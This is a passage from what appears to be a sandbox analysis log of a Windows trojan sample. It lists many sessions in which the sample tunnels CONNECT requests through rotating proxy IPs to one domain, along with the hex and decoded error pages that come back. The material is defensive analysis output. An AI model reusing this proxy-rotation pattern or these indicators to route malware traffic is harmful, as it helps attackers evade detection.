Feb 23, 2024 14:28:34.315515041 CET	1286	IN	HTTP/1.1 500 Internal Server Error Server: squid/6.2-VCS Mime-Version: 1.0 Date: Fri, 23 Feb 2024 13:28:34 GMT Content-Type: text/html;charset=utf-8 Content-Length: 1112 X-Squid-Error: ERR_CANNOT_FORWARD 0 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 45 52 52 5f 43 41 4e 4e 4f 54 5f 46 4f 52 57 41 52 44 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 3e 45 52 52 4f 52 3c 2f 68 31 3e 0a 3c 68 32 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 32 3e 0a 3c 2f 64 69 76 3e 0a 3c 68 72 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 54 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 72 65 74 72 69 65 76 65 20 74 68 65 20 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 0a 3c 62 6c 6f 63 6b 71 75 6f 74 65 20 69 64 3d 22 65 72 72 6f 72 22 3e 0a 3c 70 3e 3c 62 3e 53 68 69 65 6c 64 20 69 73 20 75 6e 61 62 6c 65 20 74 6f 20 66 6f 72 77 61 72 64 20 79 6f 75 72 20 72 65 71 75 65 73 74 20 74 6f 20 74 68 65 20 63 6f 6e 66 69 67 75 72 65 64 20 75 70 73 74 72 65 61 6d 2e 2e 3c 2f 62 3e 3c 2f 70 3e 0a 3c 2f 62 6c 6f 63 6b 71 75 6f 74 65 3e 0a 0a 3c 70 20 69 64 3d 22 73 79 73 6d 73 67 22 3e 54 68 65 20 73 79 73 74 65 6d 20 72 65 74 75 72 6e 65 64 3a 20 3c 69 3e 50 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2e 3c 2f 69 3e 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 68 72 3e 0a 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0a 3c 70 3e 47 65 6e 65 72 61 74 65 64 20 46 72 69 2c 20 32 33 20 46 65 62 20 32 30 32 34 20 31 33 3a 32 38 3a 33 34 20 47 4d 54 20 62 79 20 45 72 69 63 6f 6d 20 28 65 73 2d 70 72 6f 78 79 2d 61 75 74 68 29 3c 2f 70 3e 0a 3c 21 2d 2d 20 45 52 52 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... body:lang(fa) { direction: rtl; font-size: 100%; font-family: Tahoma, Roya, sans-serif; float: right; }:lang(he) { direction: rtl; } --></style></head><body id=ERR_CANNOT_FORWARD><div id="titles"><h1>ERROR</h1><h2>The requested URL could not be retrieved</h2></div><hr><div id="content"><p>The following error was encountered while trying to retrieve the URL: <a href="https://heygirlisheeverythingyouwantedinaman.com/">https://heygirlisheeverythingyouwantedinaman.com/</a></p><blockquote id="error"><p><b>Shield is unable to forward your request to the configured upstream..</b></p></blockquote><p id="sysmsg">The system returned: <i>Please try again later.</i></p><br></div><hr><div id="footer"><p>Generated Fri, 23 Feb 2024 13:28:34 GMT by Ericom (es-proxy-auth)</p>... ERR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1370	192.168.2.8	53848	177.93.59.42	999	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.139982939 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.179406881 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.959500074 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1371	192.168.2.8	53426	138.117.116.30	44009	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.141102076 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1372	192.168.2.8	53358	82.208.111.19	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.141238928 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.192276001 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.251616001 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:46.337481022 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1373	192.168.2.8	53472	173.212.237.43	61211	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.178210020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.192251921 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.251607895 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:46.337455988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:58.347948074 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1374	192.168.2.8	54218	93.117.72.27	55770	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.179092884 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1375	192.168.2.8	54210	20.24.43.214	8123	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.181101084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.513700008 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Fri, 23 Feb 2024 13:28:34 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1376	192.168.2.8	53357	65.20.216.249	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.191184998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1377	192.168.2.8	53965	47.206.214.4	54321	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.202378988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1378	192.168.2.8	54219	45.11.95.165	6008	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.202883005 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1379	192.168.2.8	54220	159.65.77.168	8585	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.203082085 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1380	192.168.2.8	53766	143.244.131.2	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.203085899 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.382286072 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.398423910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:46.492127895 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:58.507253885 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1381	192.168.2.8	53739	159.223.45.192	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.254611969 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.382452011 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.398421049 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:46.492131948 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:58.507282019 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:10.522901058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:22.522892952 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1382	192.168.2.8	53895	208.109.14.49	46047	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.264941931 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.382440090 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.398426056 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:46.492130995 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:58.507301092 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:10.522907972 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:22.523056984 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1383	192.168.2.8	54042	51.38.63.124	27294	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.265238047 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.288713932 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.382639885 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:46.382826090 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1384	192.168.2.8	54223	132.148.130.90	23836	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.265244007 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.695012093 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.195120096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.195086956 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1385	192.168.2.8	54216	1.15.62.12	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.265315056 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1386	192.168.2.8	53972	185.104.112.62	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.273061037 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.288710117 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.382668972 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.394985914 CET	824	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 13:28:42 GMT Server: Apache/2.4.56 (Debian) Content-Length: 632 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 71 73 68 6e 40 6d 61 69 6c 2e 72 75 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at qshn@mail.ru to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.56 (Debian) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1387	192.168.2.8	52173	83.136.219.140	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.274097919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:16.421231985 CET	830	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 13:29:16 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 638 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1388	192.168.2.8	53821	45.179.231.210	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:34.274158955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
